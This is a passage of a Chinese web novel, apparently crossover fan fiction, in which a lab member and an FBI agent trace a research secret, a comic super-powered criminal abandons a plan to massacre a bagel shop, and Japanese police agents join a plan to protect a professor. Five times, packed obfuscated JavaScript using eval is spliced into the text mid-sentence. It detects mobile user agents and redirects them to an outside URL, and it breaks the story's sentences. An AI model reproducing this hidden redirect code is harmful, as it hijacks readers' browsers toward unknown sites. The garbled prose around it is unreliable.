小野鹤子没有立刻回答，而是漫不经心地走到另一排书架前，手指轻轻滑过一本本书脊，声音低缓：“我想，每个人的界限都不同吧。有些人为了追求真相，愿意付出一切。而有些人，则更在意自己的底线，不会让研究越过某些不可触碰的边界。” “听上去很深奥啊。”长岛京悟挠了挠头，尽量让自己的表情看起来像是真的在思考，“不过我们实验室的研究还挺基础的，没什么触碰伦理的问题。” 贝尔摩德的目光从书架上收回，投向他，嘴角勾起一个淡淡的微笑：“是吗？但也许，有时候基础研究的意外发现，才是最有威力的，不是吗？” 长岛京悟心里一紧。他下意识地想到了六年前老登拿到的那一笔匿名捐赠。他努力让自己的语气保持轻松：“确实，意外总是让人惊喜。不过，您对我们的实验室好像了解得挺多？” 小野鹤子没有正面回答，而是换了个话题：“京悟君，我听说你现在是G教授最得意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895252|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的学生，是不是经常接触一些重要的实验资料？” 这句话让赤井秀一暗暗提高了警觉。他知道小野鹤子在试探长岛京悟对实验室研究的掌握程度，同时也试图引导话题朝某个方向发展。 “这个我不太清楚。”长岛京悟说，“老师的得意学生肯定不是我，我不过是先在实验室最老的成员而已。而且重要资料一般都在老师那边。” 小野鹤子微微点头，脸上的笑容仿佛带着一丝满意：“是吗？看来教授对你们的实验室管理还是很严格的。” 她停在图书馆的一张阅读桌前，拿起一张被人随手遗落的书签，随意翻看着，仿佛无意间说道：“对了，听说你们实验室最近的研究进展挺有意思的。我很好奇，驱动蛋白相关的研究，是不是和神经细胞的修复有关呢？” 长岛京悟的神经猛地绷紧。他不知道小野鹤子是否在借此暗示他宫野厚司的研究内容。他们实验室有做细胞实验的条件，但是只有很久以前，可能是宫野厚司那一代的研究生还在养神经细胞，做胞内实验。从他这一届起，他们就只保留了昆虫细胞系做蛋白表达，转而在体外测试蛋白功能了。他强装镇定，回答道：“这您可能听错了，我们现在的的方向主要是驱动蛋白的结构分析，跟细胞修复关系不大。” “哦？” 小野鹤子抬起头，目光像是透过他在看更深的东西，“也许吧。毕竟，我只是听说了一些风声，不知道是真是假。” 她随手把那张书签放回桌面。 长岛京悟试探着问：“小野小姐，您似乎对我们的实验方向很感兴趣。是以前有相关研究的经验吗？” 小野鹤子转过头，浅浅一笑：“不算研究经验，只是曾经和一些科学家打过交道，所以听说过一些有趣的事情。” “是吗？”赤井秀一插嘴。他的语气不咸不淡，目光却直视着她，似乎想要从她的表情中捕捉到更多信息。 小野鹤子的笑容没有一丝变化。 时间逐渐接近中午，小野鹤子看了看腕表，轻声说道：“今天的时间过得真快，京悟君，谢谢你带我参观校园。希望下次有机会还能聊聊更深入的话题。” “没问题。”长岛京悟捏了捏鼻子，“下次来的话可以提前联系我的。” 目送小野鹤子离开后，赤井秀一低声说道：“前辈，她的每一句话都带着试探。” “我知道。”长岛京悟叹了一口气，捡起那张被小野鹤子留下的书签。 书签上写着一个很淡的，快要被擦到模糊的日期：9月 17日。 37.有赤井秀一是美国人民的福气 赤井秀一也凑过来看到了书签上的字迹，于是问：“这个日期有什么特殊的含义吗？” 长岛京悟陷入了很深的思考中。 因为宫野厚司的结果没有发表，他曾经试图在实验室找过六年前的研究资料。可惜的是，宫野厚司毕业的时候应该带着自己的实验记录本走了。他留下来的电脑也已经被抠门的老登格式化，在乔瑟夫进实验室的时候交给了乔瑟夫当作工作机。在实验室的调查可以说是完全没有进展，但是小野鹤子给他提供了一个新的思路。 首先，她暗示了宫野厚司的研究突破与六年前停滞了的神经细胞实验相关。如果是和神经细胞相关的内容，那应当会在细胞房留下一些可以被找到的资料。至少在他们这栋大楼里，每一层楼共用一个巨大的细胞房；如果要观察细胞的状态的话，一般也都共用一台很昂贵的共聚焦显微镜。这个显微镜每一个月都会由专门的管理员备份，他认识其他实验室的人甚至成功地翻阅过十年前的影像资料。九月十七日或许是一个可以查阅的日期，宫野厚司有可能是在这一天得到的第一组有用数据。也就是说，只需要去生物物理大楼二楼细胞间的云端备份查阅六年前九月十七日的显微镜数据，就可以得到有关宫野厚司研究的一些信息了。 小野鹤子的提示很隐晦，也很精准。她似乎算准了这个谜语只有在实验室待得够久的长岛京悟能够解读出来，至于他怎么利用这个暗示，好像就是他的事情了。但是尽管她把如何处理的自由留给了长岛京悟，却又一直在精心地引导他思考科研的伦理问题。 在和长岛京悟的对话中，哪怕是赤井秀一这样对科研一知半解的人，都能够推断出她致力于让长岛京悟对“这个结果是否能被安全地应用”产生质疑。 两个人都意识到，这个女人来拜访的最终目的，很大可能是为了保护这个科研结果不被用来做她口中的“不好的事情”——用她的原话形容，则是“让科学研究不要越过自己的底线”。 一切看上去都很对正义的一方有利，只是这里唯一的问题是，她如果是一个组织的成员，为什么会拥有一个这么高尚的动机？ 她没有用自己的真面目示人，而是选择了一个不存在的、“长岛京悟高中后辈”、“老登朋友”的身份来接近这个实验室的现成员，应当花了不少心思。而这份谨慎也从侧面反映了她的这个行为应当是不受到组织认可的。于是，这个问题可以换一种方式来问：她为什么要这么做？ 。 长岛京悟想了想，先用简要的语句和赤井秀一介绍了自己从小野鹤子身上得到的信息。赤井秀一听上去也很激动，他立刻表示下周一上班的时候会和长岛京悟一起去细胞房查资料，如果能够真的借此弄清楚组织建立新研究所的目的，那简直是天上掉馅饼的好事了。 长岛京悟紧接着就把自己的疑惑问了出来。他清楚自己并不知道一个人在黑暗世界里是否也能拥有像他想象中的小野鹤子一般的高尚心灵，对这一方面接触更多的赤井秀一应当更有资格对这个不速之客做一个准确的性格侧写。 赤井秀一想了想说：“这有两种可能。” 第一种，就是这个小野鹤子是某一个国家安插在组织的间谍。但是这个可能性自带一个很大的疑点，就是为什么小野鹤子要绕这么大一个圈把情报传递给身份不明的长岛京悟。如果她有官方的联络人选，她没有必要舍近求远地冒着危险把拖延课题进展的希望寄托在一个甚至还没加入组织的新人身上。 于是第二种可能性就更有参考价值：与其对这些人的道德水平抱有幻想，更有说服力的观点应当是如果这个课题继续下去，会损害小野鹤子本人的利益。小野鹤子或许本身并没有对组织有太大的意见，她只是对她口中的所谓“不好的事情”不满。她或许有在意的人、或者她本人被迫卷进了这个漩涡中，因为她的确在对话中提及“和一些科学家打过交道”。当然，也不排除她本人和宫野厚司有仇，或许宫野厚司在组织中的快速升迁让她没有像过去一样受到重用。 小野鹤子是一个让赤井秀一都感到极有威胁感的人。她的每一句话和每一个动作都经过精心设计，蕴含着深意，也极其擅长用隐晦的语言和开放性的问题逐步引导对方进入她设置的对话节奏中。赤井秀一最后严肃地总结道：这个女人冷静、理智且很具有洞察力，是一个非常危险的对手。他认为在目前看来，最好的应对措施是接受她意味不明的帮助，而不是试图从她身上找到更多的突破口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903128|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长岛京悟听得十分震撼，忍不住夸赞：“你分析得真好。这些技能都可以在你们搜查官的课上学到吗？” 赤井秀一有些不好意思地回答：“我的父母从小教会了我比较多这个方面的知识，比起课上学的一些公式化的内容，更多的是耳濡目染吧。” 长岛京悟钦佩道：“真厉害。”果然装备一个赤井秀一是非常正确的选择，他不仅很懂些拳脚，还做得了优秀的性格侧写。美国人民有赤井秀一真是他们的福气。 。 长岛京悟给老登打了个电话交差。现在已经将近下午一点，两个人从早上八点左右醒来，到现在就只啃了两片吐司，都饥肠辘辘。长岛京悟对自己临时把赤井秀一从被窝里抓出来当工具人感到有些愧疚，于是主动表示要请他去吃一家好吃的贝果三明治。 伯克利有一家贝果店很出名，正好就在他们回家的路上。这家贝果店几年前被纽约时报评选为“美国最好吃的贝果”。这个名誉着实很难得，因为大家都知道贝果文化是在纽约兴起的。赤井秀一在纽约住了很长一段时间，也很早就染上了吃贝果的恶习，对这个提议完全没有意见，两人就顺道拐去了这一家贝果店。 今天阳光正好，又是周末，哪怕是过了午餐的饭点也有不少人在排队吃brunch。二人在已经延伸到街角的队伍末尾站好，都掏出手机上网冲浪。玩了一会儿手机，长岛京悟抬头活动一下有些僵硬的脖子，就看见贝果店背后的小巷子里有一个熟悉的人影。 长岛京悟揉了揉眼睛。 起猛了，好像看见了昨天晚上刚刚给过他一点变态震撼的果戈里。 果戈里穿着和昨天一模一样的白色演出服，头上戴着一顶白色魔术师帽。他坐在贝果店侧门的厨余垃圾桶盖子上，似乎因为在对什么很苦恼地掰着一大捧向日葵的花瓣。很精准地捕捉到他的视线后，果戈里把花放下，朝他元气地挥了挥手。 果戈里的白发在阳光的照射下被折射成漂亮的金色。果戈里的面孔也很美，长岛京悟忍不住想，其实他在不说话的时候很像他在博物馆里看到的那种精致的少年雕像。 不过和博物馆的雕像不一样的是，果戈里的脚下、垃圾桶的旁边，放着一把很大的电锯。 38.老中小登相处指南 果戈里从垃圾箱上跳下来，随便地把电锯踢到一边后朝他们走来。这个时候赤井秀一也意识到那个穷凶极恶的异能力罪犯在向他们逼近，他下意识挡在长岛京悟面前，整个人写满了警惕。 长岛京悟拍了拍他的肩膀，安抚地说：“我感觉他没有恶意，他昨天看上去还挺善良的，就是稍微变态了一点。” 赤井秀一咬着牙说：“前辈，这个人是一个臭名昭著的罪犯，而且他有一个我们暂时都不清楚的强大异能力，他很危险。” 果戈里这个时候站在了他们身边。赤井秀一把手往自己的书包里伸，发现自己带的枪消失了。这个时候果戈里开朗地从自己的斗篷里掏出一把一模一样的枪递给他：“你找的是这个吗？” 赤井秀一：“……你怎么会拿到的？”但是他自己话音未落就立刻捕捉到了破绽，“你的异能力和空间移动有关。” 果戈里说：“完全正确！FBI少年，长岛，下午好。” 长岛京悟又拍了拍赤井秀一的肩膀，把他拉到自己身边略微靠后的位置，这个样子就有些像他在保护赤井秀一了。他感觉在和果戈理打交道这个方面可能自己更擅长一点。果戈里的性格很棘手，但是他也不是完全不能应付。从基础人际关系处理的角度来说，果戈里可以被定义为一个有些变态的小登。小登和老登有一定的区别，更年轻、更温和、更有道德水准一些，但本质上都是登。而长岛京悟两辈子最擅长的就是和登们相处。 长岛京悟问：“你来这里干什么？” 果戈里高兴地说：“你这么问了，我很开心！是的，我来这里有一个目的，不过我在考虑要不要达成这个目的，因为我的挚友跟我说，如果我再干一些让他不爽的事情，他就会重新考虑我们之间的友谊是否要继续下去。” 登的第一个特征：不正面回答问题。长岛京悟熟练地顺毛：“你为自己的挚友考虑，真是一个很好的朋友。”然后他从另一个角度切入来问同一个问题，“你的目的和你扔在旁边的那一个电锯有关吗？” 果戈里很受用地笑了，回答道：“哦，是的！我本来是带着这把电锯，我想会比较有用一些。但是我真的好苦恼！失去挚友的痛苦和我已经做好的决心之间，我感到从未有过的禁锢感！” 登的第二个特征：不好好听别人说的话。长岛京悟耐心地引导：“对于你现在的不愉快，我虽然不能感同身受，但是我希望你尽快康复。听上去你的挚友在阻止你做下了决心的事情。可以跟我们说说，我们说不定可以帮助你。” 果戈里像是想明白了什么，有些低落：“长岛，你说话真好听。你说的对，这一切都是我挚友的错，如果不是他向我发出了友谊的邀约，我完全不会陷入这种境地。” 登的第三个特征：从来不在自己身上找问题。长岛京悟情绪稳定地继续找一个新的角度问原来的问题：“我支持你，友谊就是一个巨大的蜂蜜陷阱。你的挚友想必是一个好人，但是他却忽略了你内在最本性的需求。所以说，你来这里干什么呢？” 果戈里似乎陷入了很深的纠结，于是想都没想地回答：“因为周五我没有吃到他们的贝果，我本来准备杀掉这个贝果店的所有人。” 长岛京悟：“……” 赤井秀一：“……你再说一遍？” 。 最后他们都没有吃成贝果，长岛京悟看着从书包里掏出一个手铐把果戈里控制起来的赤井秀一，拿出手机点了个送到家的三明治外卖。 果戈里看上去依然情绪低落，他完全没有挣扎，任由赤井秀一把他的手铐住，然后失魂落魄地跟着他们走了。 长岛京悟让赤井秀一先把他带回自己的公寓。他还记得前一天果戈里向他解释过自己的异能是把三十米以内的空间传送，也就是说他随时都可以轻易逃跑。因为没有办法把果戈里完全控制起来，所以最好的办法应该是趁着他还在纠结一件不知道什么事情时，尽量说服他不要再有这些危险的想法。登们绝大多数都吃软不吃硬，所以不适合把他送到任何可能会让他感到有压力的地方，带回家是最上策。 果戈里依然什么都没说，他懊丧地垂着头，一个高大的俊朗少年在此时看上去就像一只崩溃的猫。进了公寓，长岛京悟示意赤井秀一去吃东西补充体力，因为万一果戈里一会儿情绪不稳定要干仗，他们俩只有赤井秀一一个人有应付的能力。 果戈里坐在沙发上，他看上去很难过，长岛京悟想起自己初中的时候看到的词：悲伤逆流成河，大致可以形容果戈里现在的情绪。 长岛京悟试探着问：“你饿不饿，要不要吃点东西？现在还有去杀掉所有人的想法吗？” 果戈里叹了一口气：“我已经没有这个想法了，长岛。但是我要谢谢你，”他顿了一下，难过地说，“你提示了我一件很重要的事情。” 赤井秀一嚼着三明治倚在餐桌边，他左手已经拿着一把威力很足的枪，随时应对着突发状况。 长岛京悟问：“什么事情呢？” 果戈里又叹了一口气。他说：“长岛，你提醒了我，友谊本身就是牢笼。我为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907153|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了维持和挚友的友情，不得不限制我内心追寻的自由。为了抓住这个世界上唯一一个理解我的人，我付出了我能够提供的所有的情感。” 长岛京悟愣了一下：“……啊？” 我什么时候提醒的他这个？我自己怎么不知道？ 我只是附和了一下他对挚友的抱怨而已啊？ 他有些崩溃地在脑子里记录下来了登的第四个特征：想到什么是什么，脑回路清奇。 果戈里的眼睛睁大了。他突然狂喜、解脱地笑，好像得到了神明的指示一般恍然大悟；但是他的语气是和他面容完全极端的沉静：“也就是说，我只需要把我的挚友杀掉，我就可以从感情这一份洗脑中获得自由，我就会成为一个真正自由的人了。” 长岛京悟：“……” 赤井秀一：“……” 。 果戈里坐在沙发上盘算着自己如何杀掉挚友，长岛京悟把赤井秀一拉到厨房去商量：“贝果店的危机好像是解决了，不过我们要不要问一下他挚友是谁啊？这个人怎么这么倒霉和他做了朋友。” 赤井秀一放松下来，他先把另一个三明治拿给对方，然后又咬下了一大口自己的三明治。他花了一点时间嚼嚼嚼，然后说：“我觉得问题不大，他的挚友应该也是一个异能力者，不应该那么容易杀死的。” 长岛京悟也跟着一起狼吞虎咽。过了会儿他说：“也有道理，我感觉他把注意力转移到他挚友身上应该也是好事，不过话说回来……” 他的话被门铃声打断了。 长岛京悟说：“我去看看哈。”然后他走到门口，透过猫眼看见门口站了三个不认识的、穿着休闲的年轻人。 他警惕地后退几步，放轻了动作，装出家里没人的样子。然后他回到厨房，拿了一片吐司，走到沙发旁边。 果戈里抬起头，还没等他发出声音，长岛京悟迅速地把吐司塞进了果戈里嘴里。 果戈里一脸懵地看着他。长岛京悟说：“尼古莱，你可以帮我个忙吗？我门口有三个不认识的人再敲门。你帮我摸摸他们口袋，看看他们有没有带什么危险的东西，或者什么证件。” 果戈里说：“哦……好。”然后他把手伸进自己的斗篷里，“我看看。枪，枪，枪，哦，这个人口袋里有一个证件。我们掏出来看看。” 这个证件和赤井秀一的很像，也是纯黑底，内页是一个黑发黑眼男人的证件照，名字写着“我孙子文也”。他们翻回正面，发现正面烫印着一个樱花图标，以及一行日文：日本公安。 39.人，你可以靠在果戈里宽阔的胸膛上 果戈里挑了挑眉，饶有兴趣地问：“先是FBI少年，再是日本公安，长岛，你是惹上条子了吗？” 贝果店危机解除，长岛京悟决定不再惯着这个小登。于是他回答：“我没有犯法，我一向堂堂正正、老实巴交。” 果戈里点了点头：“我相信你是个好人。不过如果你哪一天被通缉了的话，我可以把你介绍给我挚友，他能帮你解决的。到时候咱们说不定就是一张通缉令上的邻居了。” 长岛京悟面无表情：“……我不会犯法的，不要逼我扇你。” 果戈里：“你打算怎么处理？他们说不定一会儿就要撬门进来了。”他兴致勃勃地说，“你要是不想犯法的话，我可以帮你把他们杀掉的。” 长岛京悟：“……我说了，不要逼我扇你。我现在去开门让他们进来，你自己在沙发上坐好。”他想了想后，从电视下面的柜子里掏出一个游戏机，“你要是不想呆了就自己走，也可以玩游戏，总之别乱插嘴。” 。 “……所以说，为什么会有FBI的人在这里？还有那个白色头发的人听我们的对话真的没问题吗？” 我孙子警官有些拘谨坐在沙发上，身边是他的两个同僚。他们刚刚被长岛京悟友好地请进了门，果戈里就开朗地把他的公安证件还给了他，还顺手没收了他们三个人的枪。他们还没来得及想如何应对，果戈里又欢天喜地地把赤井秀一从他的斗篷里拽出来，喊了一句“FBI和日本公安会面魔术大成功！” 我孙子文也和赤井秀一四目相对，两人先从对方的眼里看到了迷茫，再是同病相怜的无语，再是戒备，再是敌意…… 日本公安三人坐在U型沙发中间，两端分别坐着赤井秀一和长岛京悟。果戈里被长岛京悟忍无可忍地赶到餐桌边打游戏。 长岛京悟说：“……不好意思，这边的确是我没有处理好这件事情。不过正好，你们都是正义的好人，我们现在要讨论怎么保护老登……G教授，然后把坏人绳之以法。而且现在是在美国，你们就三个人，肯定比不了FBI有优势。” 赤井秀一点点头，一副势在必得一定要参与进来的表情。 我孙子文也感觉自己的脑子一片空白，但是他是一名优秀的公安警察，他展现出了极强的适应能力。他缓了一会儿，感觉自己的血压回到正常值后，严肃开口：“长岛君，那我们就来说一下我们的计划。” 。 我孙子说：“是这样的，我们今天上午刚刚抵达旧金山。按照计划，我们明天会去拜访G教授，将他加入我们的证人保护计划。如果一切顺利，后天，他和他的家人就可以用我们给他提供的临时身份坐上回日本的飞机。同时，我的同事，”他指了指自己的一个同僚，“会假扮成G教授，等待来自组织的暗杀。他训练有素，到时一定可以反制住那个杀手，将其捉拿归案。” 长岛京悟问：“那他的家人突然消失，会不会打草惊蛇？” 我孙子：“我们明天会让G教授对外宣称他的家人要回国探亲，这个应当问题不大。” 赤井秀一凉凉地说：“你们怎么保证杀手会近身作战？”他比划了一个狙击的动作，“如果是我的话，只要目标出现在八百码以内，我都可以保证杀掉他。” 我孙子文也回击道：“赤井同学，我知道你能力很强，但是不是所有人都像你一样优秀。八百码是最优秀的狙击手才可以达成的极限，正常的杀手只有大约四百码左右的射程。我们做过调查，四百码以内，在G教授的房子周围，没有可以用作狙击的好掩体。如果G教授那几天正好生病不出门，要进行刺杀的话就只能潜入。” 赤井秀一冷笑一声：“那是你们废物，跟组织有什么关系？你们怎么知道他们的人都是饭桶？你这是在让你的同事白白送死，而且你们到时候什么都捞不着！” 将要扮成G教授的公安挺直了背：“为了公众的安全，我死而无憾！” 赤井秀一说：“看，你们就是这么浪费人才的。你们的计划漏洞百出。” 我孙子文也握紧了拳头。他强迫自己冷静地继续说：“赤井同学，这个组织的总部在日本，我想我们这边的情报要比一个不在日本的安全机关要可靠、充足得多。”他转头看向长岛京悟，“长岛君，你需要做的，就是在组织的人找到你后，把他们的面容特征传递给我们。这样我们也算是有所准备。” 赤井秀一又发出一声冷笑：“有所准备地送死。长岛前辈，你只需要把他们的面容特征给我，我们可以直接在美国境内将他们逮捕。至于有些人，”他有所指地扫了一眼三位公安，“你们想要为国捐躯我没有意见，但是死之前记得我提醒过你们这个计划有问题。” 我孙子警官死死地盯着他，他们两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913597|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人的视线内电闪雷鸣。过了一会儿，两个人一起看向长岛京悟。 长岛京悟：“……呃，我觉得你们两个都是保护社会安全的公职机关，我是日本公民、但是现在在美国境内，所以法律上我需要向你们两方同时汇报我得到的消息。” 他顿了顿，小心翼翼地说：“但是我不知道你们怎么工作的，我觉得你们这个计划可以综合一下。马蒂尼说他们两个人一起来，既然马蒂尼是狙击手，另外那个花名龙舌兰的就应该是做别的的。秀一可以带着一帮人去逮捕狙击的马蒂尼，同时，公安同志也可以反制龙舌兰……你们一人一个人头，很公平。” 他看向赤井秀一和我孙子文也。两个人沉默一会儿，各自轻微地点了头，似乎是意识到这个的确是目前最好的对策。 长岛京悟看他们接受了自己的提议，又大着胆子说：“那还有就是，我们也不太清楚马蒂尼是不是一个优秀的狙击手。如果他是的话，那位公安同志就有危险了……我们还是需要想一个什么方法，不能让人用生命去赌一个可能性吧。” 这和没有假设就去乱做实验有什么区别！ 。 房间里陷入了另一段沉默。现在去找情报已经太晚了。如果组织发现G教授正好在这个时间点撤离，一定会警觉。但是知道“组织要刺杀老登”的非组织成员只有长岛京悟，要是没有人假扮成G教授的话，他一定会被追杀，卧底的事情也会化为泡影。 长岛京悟脑子疯狂地转，但是他想不出除了比“牺牲一个人、得到最大的利益”更好的方法。 难道真的要眼睁睁看着一个人赌命，如果成功了自然皆大欢喜，但是如果失败了呢？那是一条生命啊，他也有自己的家人，他凭什么要为了别人的家人牺牲呢？ 长岛京悟烦闷地咬紧了牙。 这个时候果戈里插嘴：“这个简单啊，你让我扮成你们那个要被杀的人不就好了。不管是什么样的子弹都打不到我。至于那个本来就要假扮的人，或者你们三个一起，”他随便指了一下公安里的一个人，“可以扮成这个家庭里的其他成员。真要有人杀进来，我不动手，就看着你们打。” 果戈里笑眯眯地总结道：“反正你们都打不过我，我说是什么就是什么。就这么定了吧。长岛，你过来和我一起打这个鹅的什么游戏，我一个人没办法把这个老太太推到湖里去。” 40.你的房子fine，下一秒mine 果戈里威名在外，在场没有人敢反抗，于是这件事情就这么半推半就地定了下来。他们又商议了一些计划里的细节，这个时候长岛京悟才发现除了我孙子警官，他还不清楚其他两位英雄公安的名字。 于是另外两个警官自我介绍，他们的名字分别是：大蜘蛛恒昌，和狮子王次郎。 赤井秀一震撼地说：“你们日本公安招人好有特色。” 大蜘蛛警官：“你可以笑的，我们受过严格的训练，不会生气。” 果戈里很给面子地咧开嘴。他还没出声，长岛京悟眼疾手快地捂住，对公安三人说：“他不会笑的，他生性不爱笑。” 果戈里危险地眯起眼睛。长岛京悟说：“我知道你在想笑是你的自由。但是如果他们让你笑你就笑，你得到的是真正的自由，还是被人操纵的自由？” 果戈里若有所思：“……哦，也是。” 长岛京悟转移话题：“那个老太太你先别管，你先往后面打。你把小男孩赶进电话亭了吗？那个任务一只鹅也能做的。我过会儿就来帮你把老太太拖进池塘。” 果戈里说：“长岛，你真是个好人。” 然后他就真的欢天喜地地去打游戏了。 狮子王警官：“……长岛君，我为我之前还对你的怀疑感到抱歉。我现在衷心地感觉你卧底会很顺利，超乎想象地顺利。” 长岛京悟无奈道：“谢谢，都是生活所迫。” 送走了三位警官，赤井秀一也告辞，回他自己的公寓去了。他走之前再三叮嘱长岛京悟如果有危险一定要给他打电话，这几天他就呆在隔壁随时可以来帮忙。 长岛京悟应下后，这个本来人挤人的公寓就显得很冷清了：只剩下长岛京悟和依然在打捣蛋鹅的果戈里。长岛京悟看了一眼果戈里的进度，知道一时半会儿他是不会走了，于是果断地拿起第二个手柄，把游戏机连到了电视上，两个人一起打游戏。 果戈里一边操纵大鹅把园丁的锄头拖到下水道一边感叹道：“长岛，你打游戏很有一手嘛！” 长岛京悟立刻操纵另一只鹅把菜园里的所有东西洗劫一空：“我不过是犯了一些学生都会犯的错，比方说在期末周通关塞尔达之类的。你上学的时候不打游戏吗？”他们俩看上去年龄比较接近吧，果戈里因为长了一张娃娃脸可能看上去稍微年轻一点点。不过果戈里这么外向，应该是没吃过读博的苦。 果戈里说：“我没上过学。我爸妈早就死了，我是由亲戚抚养大的，他们没让我上学，我很小就在家里当他们的佣人。所以我没在上学的时候打过游戏。” 长岛京悟手一顿：……我真该死啊。 他不知道该怎么回复，这个时候因为他掉线了几秒，果戈里的鹅被园丁提着脖子拎起来教训。果戈里不满：“你怎么不动了？我们就差一点点！” 长岛京悟说：“呃……实在不好意思。你刚刚这么说，让我有点感觉自己罪孽深重。” 果戈里开朗地说：“这也没什么吧，反正最后我把他们都杀了。我现在去叼那个园丁的钥匙，你别掉链子。” 长岛京悟马上：“哦，好。”他的操作又回到正常水平，因为他感觉这几天应该不会午夜睁眼谴责自己了。 。 五个小时后他们把游戏差不多通关，这个时候屏幕上开始显示游戏的番外任务。长岛京悟看了眼时间，按下蠢蠢欲动打算继续肝的果戈里，下了逐客令：“我累了，我不想打了。” 果戈里瞪大了眼睛：“现在才晚上十一点半！” 长岛京悟说：“明天再打。现在我思考和行动都会变迟缓，有可能会拖累你的进度。你真算是有游戏天赋的，很少有人像你这样一上手就能一天内通关的。” 果戈里挺起胸膛：“那也是。算了，我就原谅你这一次吧。”他把游戏机扔到沙发上，站起来，“那我们今天睡哪？” 长岛京悟：“……………………你想睡哪？等下，这是我家，我睡这里，你要睡哪？不是，你不能睡我这里啊？你你你没有自己的家吗？” 果戈里说：“如果我们要杀人到很晚的话，我挚友每次都让我睡他家的。他说这是基本的社交礼仪。” 长岛京悟崩溃：“这不是，你赶紧考虑一下杀掉你挚友。” 果戈里苦恼：“我在想了，但是还没想出来。” 长岛京悟太过无语，就借机仔细思考了一番。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919003|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他猜果戈里可能说的是漫画那种中学的时候好朋友之间可以借宿对方家的那种纯真的、高尚的友谊，只是因为他是一个肮脏的成年人，所以想的都是那些美剧里的那种借宿。他感觉自己好像冤枉果戈里的挚友了，于是给自己找补：“那个，也不是说就完全不是一个社交礼仪，我想你挚友应该是一个品行高洁的人，所以你留宿也是没什么问题的。就是我和你挚友不一样，我品行比较低劣，你看我就是因为这个，读了六年博都毕不了业。……话说回来，你挚友现在在做什么啊？” 果戈里开心地说：“我就知道不是我们的问题！我挚友是一个国际恐怖分子。” 长岛京悟：“……” 长岛京悟面无表情地棒读：“……反正，我们现在暂时不是挚友，只有挚友才可以借宿，你自己去找个什么地方住，我记得你应该很有钱，你的那个演出的票还很贵的。” 果戈里说：“你真小气。算了，不和你计较。我看一下。” 他掏出手机，翻了一会儿网页，好像又打了一会儿字。过了一会儿他跳出窗外去接一个电话。 长岛京悟已经懒得在意他家是十五楼，他感觉重生以来遇到的所有人应该都不在乎他家距离地面真的有至少五十米……他趁这个时间把游戏机充上电，又叫了一个四人份的外卖。果戈里看上去对食物没有太大欲望，也可能是因此他其实比起正常男性要看上去瘦削一些，比起成年人更像一个少年。长岛京悟想，晚上还是要吃点东西，剩下的可以明天吃，或者一会儿送给领居赤井秀一。 他百无聊赖地盯着外卖小哥的动向，这个时候果戈里又翻窗回来了。 长岛京悟问：“你解决了住宿吗？” 果戈里开心地说：“哦，解决了！就是稍微有点麻烦，不过，”他心情非常好地转了一圈，“我挚友刚刚打电话过来，表扬我没有杀贝果店的人，因此他决定不和我计较我刚刚干的了。” 长岛京悟深吸一口气，他觉得有什么不好的事情就要发生…… 果戈里欢快道：“我把这栋楼买下来了！然后我把你领居踢走了。你真是个好人，我们暂时当不了通缉令上的领居，当现实生活中的领居也差不多。” 41.你折我们秀一翅膀，我将来定毁你天堂（。 一张不大的四人餐桌差不多被挤满了。赤井秀一挨着长岛京悟坐在一边，果戈里坐在他们对面，读不懂空气似的往嘴里不停塞着炸鸡。 赤井秀一咬牙切齿地说：“我刚刚收到了公寓楼管理员的几个连续的电话，告诉我大楼的新主人让我在一个小时内搬出去。” 